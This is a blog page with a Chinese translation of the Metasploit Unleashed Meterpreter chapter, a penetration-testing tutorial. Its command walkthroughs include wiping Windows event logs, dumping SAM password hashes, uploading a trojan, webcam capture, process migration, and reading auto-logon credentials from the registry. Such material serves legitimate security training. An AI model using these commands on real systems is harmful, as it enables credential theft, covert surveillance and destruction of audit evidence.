第四期_Metasploit 基础(六)Meterprete《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》_you must specify a valid file glob to search for, -程序员宅基地

技术标签: web安全  安全  Metasploit Unleashed文档  网络安全  

翻译者说明1:本文为Metasploit Unleashed中文版翻译。原文链接:https://www.offensive-security.com/metasploit-unleashed/

翻译者说明2:为减轻翻译负担采用了机器翻译,翻译者从中人工剔除了机翻错误或歧义的问题,但难免会存在小问题,请读者见谅。如发现文章翻译存在问题,可在文章下方评论留言。

翻译者说明3:如果你喜欢这篇翻译,请给关注一下我并给文章点个赞,你的支持是给我工作的最大鼓励。

翻译者说明4:其他章节一并整合在专栏中,如有兴趣可关注专栏了解更多内容。

四、METASPLOIT 基础

6. Meterpreter

Meterpreter 是一种高级的、动态可扩展的有效负载,它使用内存中的 DLL 注入stagers并在运行时通过网络扩展。它通过stager程序套接字进行通信,并提供全面的客户端 Ruby API。它具有命令历史记录,选项卡完成,通道等功能。

Metepreter最初是由skape为Metasploit 2.x编写的,常见的扩展被合并到3.x中,目前正在对Metasploit 3.3进行大修。服务器部分以纯C语言实现,现在使用MSVC编译,使其具有一定的可移植性。客户端可以用任何语言编写,但Metasploit有一个功能齐全的Ruby客户端API。

1)Meterpreter 的设计目标

无痕的

  • Meterpreter 完全驻留在内存中,不会向磁盘写入任何内容。
  • 不会创建新进程,因为Meterpreter将自己注入到受感染的进程中,并且可以轻松迁移到其他正在运行的进程。
  • 默认情况下,Meterpreter 使用加密通信。
  • 所有这些都提供了有限的法医证据和对受害者机器的影响。

功能强大的

  • Meterpreter利用信道化通信系统。
  • TLV协议几乎没有限制。

可扩展的

  • 功能可以在运行时增强,并通过网络加载。
  • 新功能可以添加到Meterpreter,而无需重新构建它。

添加运行时功能
新功能通过加载扩展添加到Meterpreter中。

  • 客户端通过套接字上载 DLL。
  • 在受害者上运行的服务器在内存中加载 DLL 并对其进行初始化。
  • 新扩展在服务器中注册自身。
  • 攻击者计算机上的客户端加载本地扩展 API,现在可以调用扩展函数。

整个过程是无缝的,大约需要1秒钟才能完成。

2)Meterpreter 基本命令

由于Meterpreter提供了一个全新的环境,我们将介绍一些基本的Meterpreter命令,以帮助您入门并帮助您熟悉这个最强大的工具。在本课程中,几乎涵盖了所有可用的 Meterpreter 命令。对于那些没有被涵盖的人来说,实验是成功学习的关键。

a)help 命令

正如预期的那样,help命令将显示 Meterpreter 帮助菜单。

meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...
b)background 命令

background命令会将当前的 Meterpreter 会话发送到后台,并返回到"msf"提示符。要返回您的Meterpreter会话,只需再次与之交互即可。

meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
c)cat 命令

cat 命令与 *nix 系统上的命令相同。当文件作为参数给出时,它会显示文件的内容。

meterpreter > cat
Usage: cat file

Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis

meterpreter >
d)cd 和 pwd 命令

cdpwd 命令用于直接在目标主机上更改和显示当前工作位置。
更改目录"cd"的工作方式与在 DOS 和 *nix 系统下的工作方式相同。
默认情况下,当前工作文件夹是启动与侦听器的连接的位置。

meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >
e)clearev 命令

clearev 命令将清除 Windows 系统上的"应用程序"、"系统"和"安全"日志。没有选项或参数。
在使用Meterpreter清除日志之前,|Metasploit Unleashed

meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >

使用Meterpreter清除日志后,|Metasploit Unleashed

f)download 命令

download 命令从远程计算机下载文件。请注意在提供 Windows 路径时使用双斜杠。

meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >
g)edit 命令

edit命令将打开位于目标主机上的文件。
它使用"vim",因此编辑器的所有命令都可用。

meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
.
...snip...
.
100666/rw-rw-rw-  0       fil   2012-03-01 13:47:10 -0500  edit.txt

meterpreter > edit edit.txt

请参阅 vim 编辑器文档,了解更多高级使用。

h)execute 命令

execute 命令在目标上运行命令。

meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
i)getuid 命令

运行 getuid 将显示 Meterpreter 服务器在主机上运行的用户。

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
j)hashdump 模块

hashdump后渗透模块将转储 SAM 数据库的内容。

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
k)idletime 命令

运行idletime将显示远程计算机上的用户处于空闲状态的秒数。

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >
l)ipconfig 命令

ipconfig 命令显示远程计算机上的网络接口和地址。

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0

meterpreter >
m)lpwd 和 lcd 命令

lpwdlcd 命令分别用于显示和更改本地工作目录。
当接收Meterpreter shell时,本地工作目录是启动Metasploit控制台的位置。
更改工作目录将授予您的 Meterpreter 会话访问位于此文件夹中的文件的权限。

meterpreter > lpwd
/root

meterpreter > lcd MSFU
meterpreter > lpwd
/root/MSFU

meterpreter > lcd /var/www
meterpreter > lpwd
/var/www
meterpreter >
n)ls 命令

与在 Linux 中一样,ls 命令将列出当前远程目录中的文件。

meterpreter > ls

Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data
...snip...
o)migrate 后渗透模块

使用migrate后模块,您可以迁移到受害者的另一个进程。

meterpreter > run post/windows/manage/migrate 

[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter >
p)ps 命令

ps 命令显示目标上正在运行的进程的列表。

meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...
q)resource 命令

resource命令将执行位于文本文件中的 Meterpreter 指令。资源每行包含一个条目,将按顺序执行每行。这有助于自动执行用户执行的重复操作。

默认情况下,命令将在当前工作目录(在目标计算机上)中运行,资源文件在本地工作目录(攻击计算机)中运行。

meterpreter > resource 
Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >
root@kali:~# cat resource.txt
ls
background
root@kali:~#
meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >
r)search 命令

search命令提供了一种在目标主机上查找特定文件的方法。该命令能够搜索整个系统或特定文件夹。
在创建要搜索的文件模式时,也可以使用通配符。

meterpreter > search
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc
meterpreter > search -f autoexec.bat
Found 1 result...
    c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter >
s)shell 命令

shell 命令将在目标系统上显示一个标准 shell。

meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
t)upload 命令

download一样,您需要对 upload 命令使用双斜杠。

meterpreter > upload evil_trojan.exe c:\\windows\\system32
[*] uploading  : evil_trojan.exe -> c:\windows\system32
[*] uploaded   : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >
u)webcam_list 命令

从 Meterpreter shell 运行时,webcam_list命令将显示目标主机上当前可用的网络摄像头。

meterpreter > webcam_list
1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW)
meterpreter >
v)webcam_snap 命令

webcam_snap命令从目标系统上连接的网络摄像头中抓取图片,并将其作为 JPEG 图像保存到光盘。默认情况下,保存位置是具有随机文件名的本地当前工作目录。

meterpreter > webcam_snap -h
Usage: webcam_snap [options]
Grab a frame from the specified webcam.

OPTIONS:

    -h      Help Banner
    -i   The index of the webcam to use (Default: 1)
    -p   The JPEG image path (Default: 'gnFjTnzi.jpeg')
    -q   The JPEG image quality (Default: '50')
    -v   Automatically view the JPEG image (Default: 'true')

meterpreter >
meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >

使用webcam_snap Meterpreter 插件|Metasploit Unleashed

3)python 拓展

Meterpreter的python扩展于2015年11月添加到Metasploit框架中。这个补充是一个完美的例子,社区如何扩展,并为已经通用的框架Metasploit做出贡献。

在撰写本文时,该扩展仍处于积极开发阶段,但是此附加组件显示出很大的前景,因为它使用户能够在目标计算机上本机运行Python代码,而无需安装解释器。各种Python模块(如cTypes)的内存实现可以极大地扩展Meterpreter对受损Windows目标的控制。

在我们的目标计算机上运行活动的meterpreter shell时,键入load python将加载扩展,使我们能够访问新命令。

meterpreter > load python
Loading extension python...success.

加载后,我们可以发出help命令以查看Python命令。

meterpreter > help
...
Python Commands
===============

    Command         Description
    -------         -----------
    python_execute  Execute a python command string
    python_import   Import/run a python file or module
    python_reset    Resets/restarts the Python interpreter

python_execute命令在目标上运行给定的 python 字符串。如果需要结果,则应将其存储在 python 变量中,并且该变量应使用 -r 参数传递。

meterpreter > python_execute -h
Usage: python_execute  [-r result var name]

Runs the given python string on the target. If a result is required, it should be stored in a python variable, 
and that variable should passed using the -r parameter.

OPTIONS:

    -h        Help banner
    -r   Name of the variable containing the result (optional)

将 python 代码文件或模块从磁盘加载到目标上的内存中。模块加载程序需要包含模块的文件夹的路径,并且文件夹名称将用作模块名称。只有.py文件才能与模块一起使用。

meterpreter > python_import -h
Usage: python_import  [-n mod name] [-r result var name]

Loads a python code file or module from disk into memory on the target.
The module loader requires a path to a folder that contains the module,
and the folder name will be used as the module name. Only .py files will
work with modules.

OPTIONS:

    -f   Path to the file (.py, .pyc), or module directory to import
    -h        Help banner
    -n   Name of the module (optional, for single files only)
    -r   Name of the variable containing the result (optional, single files only)

这个是不言自明的。

meterpreter > python_reset -h
[+] Python interpreter successfully reset
a)python拓展实例

以下是 Python 扩展的实际运行示例。随着时间的推移,将添加更多功能,使扩展成为更强大的工具。

加载扩展后,我们可以使用基本的Python功能,例如print。这可以通过使用python_execute命令和标准Python语法来实现。

meterpreter > python_execute "print 'Good morning! It\\'s 5am'"
[+] Content written to stdout:
Good morning! It's 5am

还可以保存到变量,并使用 -r 开关打印其内容。

meterpreter > python_execute "import os; cd = os.getcwd()" -r cd
[+] cd = C:\Users\loneferret\Downloads
meterpreter >

以下文件位于我们机器的"root"文件夹中。它本质上做什么,搜索 C:\驱动器,用于任何名为readme.txt的文件。尽管这可以通过meterpreter的本机search命令来完成。在文件系统中运行的一个观察结果使我们的meterpreter会话崩溃了不止一次。

root@kali:~# cat findfiles.py 
import os
for root, dirs, files in os.walk("c://"):
    for file in files:
        if file.endswith(".txt") and file.startswith("readme"):
             print(os.path.join(root, file))

为了在目标计算机上运行此文件,我们需要调用python_import命令。使用 -f 开关指定我们的脚本。

meterpreter > python_import -f /root/findfiles.py
[*] Importing /root/findfiles.py ...
[+] Content written to stdout:
c://Program Files\Ext2Fsd\Documents\readme.txt
c://qemu-0.13.0-windows\patch\readme.txt
c://Users\loneferret\Desktop\IM-v1.9.16.0\readme.txt

再比如,这次打印一些内存信息,并使用"ctypes"Python模块调用Windows消息框。

meterpreter > python_import -f /root/ctypes_ex.py
[*] Importing /root/ctypes_ex.py ...
[+] Content written to stdout:
>WinDLL 'kernel32', handle 76e30000 at 4085e50>
metrepreter > python_import -f /root/msgbox.py
[*] Importing /root/msgbox.py ...
[+] Command executed without returning a result

在这里插入图片描述
当然,这完全取决于您当前的Meterpreter的访问级别。另一个简单的Python脚本示例,读取窗口的注册表中的"AutoAdminLogon"键。

meterpreter > python_import -f /root/readAutoLogonREG.py
[*] Importing /root/readAutoLogonREG.py ...
[+] Content written to stdout:


[+] Reading from AutoLogon Registry Location
[-] DefaultUserName loneferret
[-] DefaultPassword NoNotReally
[-] AutoAdminLogon Enabled
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_43468923/article/details/122784738

智能推荐

Hexo博客主题安装和优化(二)_hexo matery设置雪花飘落-程序员宅基地

文章浏览阅读1.4k次,点赞2次,收藏14次。一、Hexo自定义 —晚枫博客—1. 动态标题打开博客主题文件夹,路径:themes/matery/layout/layout.ejs,在对应位置添加如下代码:<script type="text/javascript"> var OriginTitile = document.title, st; document.addEventLis..._hexo matery设置雪花飘落

tomcat session管理_tomcat session管理页面-程序员宅基地

文章浏览阅读248次。最近有空看了一下tomcat 6源码里面对session管理的实现,现在写下来,以供后考,也希望能对对此感兴趣的朋友有所提示。 闲话少说,先贴一下tomcat6的component层次图(此图来自tomcat doc) Server 就是一个servlet container _tomcat session管理页面

FPGA小白的第一篇博客-程序员宅基地

文章浏览阅读410次。今天是2015年9月22日,我得记住这一天,从今天开始,笔者正式开始FPGA的板级学习,希望早日成为熟练的设计开发者_fpga小白

小经验_chmod: 无法创建符号链接-程序员宅基地

文章浏览阅读4.5k次。1.一个文件夹删不掉,是权限问题,chmod 777 xxx。类似的,根目录下的root文件夹不能访问,也是权限问题。2.serial port terminal(linux下串口终端) CompizConfig(花样)3.source insight安装,得先装wine.4.删除非空文件夹,rm -rf xxx5.arm-linux-gcc -v查看arn-_chmod: 无法创建符号链接

OC----synthesize 关键字_oc synthesize-程序员宅基地

文章浏览阅读998次。@synthesize 关键字6.1 问题: setter, getter的实现也是没有什么任何技术含量6.2 作用: 自动生成getter、setter方法的实现.6.3 语法: @synthesize @property名称; 如: @interface Person : NSObject{ int _age; } @property int age;..._oc synthesize

LWN:Fedora里的fstrim-程序员宅基地

文章浏览阅读827次。关注了就能看到更多这么棒的文章哦~Fedora and fstrimByJake EdgeDecember 31, 2019原文来自:https://lwn.net/Articles/..._fstrim 服务

随便推点

day14_Python基础内容—数据持久化、文件操作、数据持久化方法_每次运行程序输入一个学生的信息怎么回事-程序员宅基地

文章浏览阅读365次。Python学习第14天。学习内容:数据持久化、文件操作、数据持久化方法。一、数据持久化问题1:什么是数据持久化?为什么要持久化?计算机存储空间分为:运行内存和磁盘两种。程序中产生的数据默认都是保存在运行内存中,存储在运行内存中的数据在程序结束后会自动销毁。如果将数据存储到磁盘中,那么数据除非手动删除或者磁盘损坏,否则会一直存在,实现了数据的持久保存,存储在磁盘中的数据可以反复使用。磁盘存储数据的基本单位是文件。数据持久化指的就是将程序中的数据以文件的形式保存到磁盘中。为什么要持久化? _每次运行程序输入一个学生的信息怎么回事

linux安装maven-程序员宅基地

文章浏览阅读76次。1、下载maven包apache-maven-3.3.9-bin.tar.gz2、创建目录mkdir -p/usr/local/maven3、拷贝安装包到指定路径cpapache-maven-3.3.9-bin.tar.gz/usr/local/maven4、解压tar -zxvf apache-maven-3.2.5-bin.tar.gzmv apach..._linux安装maven 3.2.5

机器学习应用之WebShell检测_webshell-master-程序员宅基地

文章浏览阅读6.4k次。本文主要参考自兜哥的《Web安全之机器学习入门》前段时间在研究WebShell的检测查杀,然后看到兜哥的著作中提到的几个机器学习算法中也有实现WebShell检测的,主要有朴素贝叶斯分类、K邻近算法、图算法、循环神经网络算法等等,就一一试试看效果吧。Python中的几个机器学习的库1、numpy:安装:pip install --user numpy2、SciPy:_webshell-master

MySQL调优之索引匹配方式及索引种类_索引包含( )模式匹配的查询-程序员宅基地

文章浏览阅读1.3k次。索引匹配方式下面举例皆在索引 idx(name,age,pos)建立前提下全值匹配全值匹配指的是和索引中的所有列进行匹配匹配最左前缀只匹配前面的几列匹配列前缀可以匹配某一列的值的开头部分比如:select * from staffs where name like ‘J%’;这个语句可以利用到用name建立的索引进行查找。但是如果是 select * from staffs where name like ‘%J%’;就无法用到。匹配范围值可以查找某一个范围的数据比如:explain_索引包含( )模式匹配的查询

Unity给力插件之ShaderForge(一)-程序员宅基地

文章浏览阅读597次。这是一个用来制作shader的插件,也是一个很好的学习shader的工具。这个插件上手很容易,但是要用它来制作理想的Shader,需要下点功夫。这儿先列举出基础知识,以及我的一些实践。以后我还会继续学习并记录更多的内容。一、基本操作:    1)、截断连线:按住alt并右键   2)、框选:按住alt键并框选   3)、对于不认识的节点,右键选择what,出现API官网,可选..._shaderforge遮罩

长东应用 - 流程标题的高级定制、应用换肤与应用预览_流程标题是什么意思-程序员宅基地

文章浏览阅读122次。长东应用拟定在今年12月份发布,这是一款完全免费的高度自由定制的个人单机软件。本文主要介绍流程标题的高级定制、应用自由换肤以及应用发布前的预览功能。目录应用换肤与预览流程标题应用换肤与预览在自定义应用中,右键待发布的app,选择个性化设置。新建个性化设置,系统默认提供六种默认样式,分别为:暗夜精灵、挪威森林、铁血丹心、紫气东来、粉色回忆、酒醉探戈。也可以根据选项自由定制应用内的背景色、字体颜色,可点击上方预览按钮,查看效果。(1)预览 - 暗夜精灵效果(2_流程标题是什么意思

推荐文章

热门文章

相关标签